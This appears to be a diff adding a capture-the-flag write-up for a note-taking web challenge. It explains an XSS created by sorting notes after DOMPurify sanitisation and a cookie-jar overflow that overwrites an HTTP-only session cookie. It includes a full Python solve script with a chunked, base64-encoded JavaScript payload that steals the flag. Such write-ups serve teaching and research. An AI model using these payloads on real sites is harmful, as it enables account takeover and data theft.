|
| 1 | +--- |
| 2 | +created: 2025-08-27T17:42 |
| 3 | +updated: 2025-08-27T17:58 |
| 4 | +--- |
| 5 | + |
| 6 | +Apparently during play test my teammates thought this was a DOMPurify zero day. |
| 7 | + |
| 8 | +## xss |
| 9 | +But the basic idea of this challenge is that there is modification after purify, which is a very big red flag. |
| 10 | + |
| 11 | +This is on the profile page. |
| 12 | + |
| 13 | +```js |
| 14 | +const data = atob("USER_DATA"); |
| 15 | +const sort = new URLSearchParams(window.location.search).get('sort') || 'none'; |
| 16 | +const entries = DOMPurify.sanitize(data).split('\n').filter(entry => entry.trim() !== ''); |
| 17 | +if (sort === 'asc') entries.sort(); |
| 18 | +else if (sort === 'desc') entries.sort().reverse(); |
| 19 | +document.getElementById('history').innerHTML = entries.map(e => `<li>${e}</li>`).join(''); |
| 20 | +``` |
| 21 | + |
| 22 | +The notes are sorted (modified) after purification. |
| 23 | + |
| 24 | +And the server has a faulty `.replace` and keeps all newlines after the first replacement. |
| 25 | + |
| 26 | +@Jorian gave a very nice explanation on this. |
| 27 | + |
| 28 | +```html |
| 29 | +" onerror=alert() " |
| 30 | +<img src alt="value |
| 31 | +with |
| 32 | +newlines"> |
| 33 | +``` |
| 34 | +> DOMPurify would see the above as safe and output it basically as-is. But if the 1st line is re-ordered to be on the 3rd line, for example, it would inject an attribute and trigger XSS with |
| 35 | +```html |
| 36 | +<img src alt="value |
| 37 | +" onerror=alert() " |
| 38 | +newlines"> |
| 39 | +``` |
| 40 | + |
| 41 | +## payload |
| 42 | + |
| 43 | +The next part is getting the flag and sending it back to us. The XSS bot is not allowed to connect to anything other than the site, so we need to send the flag back to us as a note. |
| 44 | + |
| 45 | +### getting information out |
| 46 | + |
| 47 | +However the admin user has a random UUID and new notes also have random UUID so the only way to see the note is either we are admin or we make the admin login as us. |
| 48 | + |
| 49 | +The cookie is HTTP-only so we can't really steal admin's identify, however we are able to overwrite HTTP-only cookies. |
| 50 | + |
| 51 | +We just need to overflow the cookie jar and at that point the old cookie is simply deleted. |
| 52 | + |
| 53 | +### getting the flag itself |
| 54 | + |
| 55 | +There are multiple ways to do this, `connect-src 'none';` prevents directly using `fetch`, but you can use `window.open` or you can use `iframe`. |
| 56 | + |
| 57 | +### deploying the payload |
| 58 | + |
| 59 | +The profile page also has a character limit, so you just got to be creative. Some teams solved it manually but I have an automated script to generate each subpayload. |
| 60 | + |
| 61 | + |
| 62 | +## solve script |
| 63 | + |
| 64 | +```python |
| 65 | +import base64 |
| 66 | +import requests |
| 67 | +target = "http://localhost:8000" |
| 68 | +target = "https://notetaker.chall.wwctf.com" |
| 69 | +s = requests.Session() |
| 70 | + |
| 71 | +s.post(f"{target}/register", data={ |
| 72 | + "name": "test" |
| 73 | +}) |
| 74 | +print(s.get(f"{target}/me").url.replace('localhost', 'web')+"?sort=asc") |
| 75 | + |
| 76 | +token = s.cookies.get("token") |
| 77 | +print(token) |
| 78 | +payload = f""" |
| 79 | +(function() {{ |
| 80 | + const iframe = document.createElement('iframe'); |
| 81 | + iframe.src = '/flag'; |
| 82 | + document.body.appendChild(iframe); |
| 83 | + const form = document.createElement('form'); |
| 84 | + form.id = 'flagForm'; |
| 85 | + form.action = '/'; |
| 86 | + form.method = 'POST'; |
| 87 | + const ti = document.createElement('input'); |
| 88 | + ti.name = 'title'; |
| 89 | + ti.id = 'ti'; |
| 90 | + ti.value = 'flag'; |
| 91 | + const ci = document.createElement('input'); |
| 92 | + ci.name = 'content'; |
| 93 | + ci.value = 'dummy'; |
| 94 | + form.appendChild(ti); |
| 95 | + form.appendChild(ci); |
| 96 | + document.body.appendChild(form); |
| 97 | + iframe.onload = () => {{ |
| 98 | + try {{ |
| 99 | + const flag = iframe.contentDocument.body.innerText; |
| 100 | + ci.value = '['+flag; |
| 101 | + for (let i = 0; i < 700; i++) {{ |
| 102 | + document.cookie = `cookie${{i}}=${{i}}`; |
| 103 | + }} |
| 104 | + document.cookie = 'token={token}; SameSite=Lax; path=/'; |
| 105 | + form.submit(); |
| 106 | + }} catch (e) {{ |
| 107 | + console.error('Error:', e); |
| 108 | + }} |
| 109 | + }}; |
| 110 | +}})(); |
| 111 | +""".strip() |
| 112 | +payload = base64.b64encode(payload.encode()).decode() |
| 113 | +max_l = 35 |
| 114 | +payload_chunks = [payload[i:i+max_l] for i in range(0, len(payload), max_l)] |
| 115 | +#http://web:8000/user/37b74d40-9697-428f-b109-7ed00ef65451?sort=asc |
| 116 | +s.post(target, data={ |
| 117 | + "title": "a</a>\n\n*000<img id=\"", |
| 118 | + "content": "dummy" |
| 119 | +}) |
| 120 | +s.post(target, data={ |
| 121 | + "title": "\"a\n\n*001\" onerror='location=\"javascript:\"+/*", |
| 122 | + "content": "dummy" |
| 123 | +}) |
| 124 | +s.post(target, data={ |
| 125 | + "title": f"\"a\n\n*002*/atob(/*", |
| 126 | + "content": "dummy" |
| 127 | +}) |
| 128 | +for i, chunk in enumerate(payload_chunks): |
| 129 | + s.post(target, data={ |
| 130 | + "title": f"\"a\n\n*{(i+3):03d}*/\"{chunk}\"+/*", |
| 131 | + "content": "dummy" |
| 132 | + }) |
| 133 | +s.post(target, data={ |
| 134 | + "title": "\"a\n\n*999*/\"\")' src='1'<img>", |
| 135 | + "content": "dummy" |
| 136 | +}) |
| 137 | +``` |
| 138 | + |
| 139 | +```flag |
| 140 | +wwf{imagine_if_you_actually_solved_this_with_a_dompurify_zeroday} |
| 141 | +``` |
0 commit comments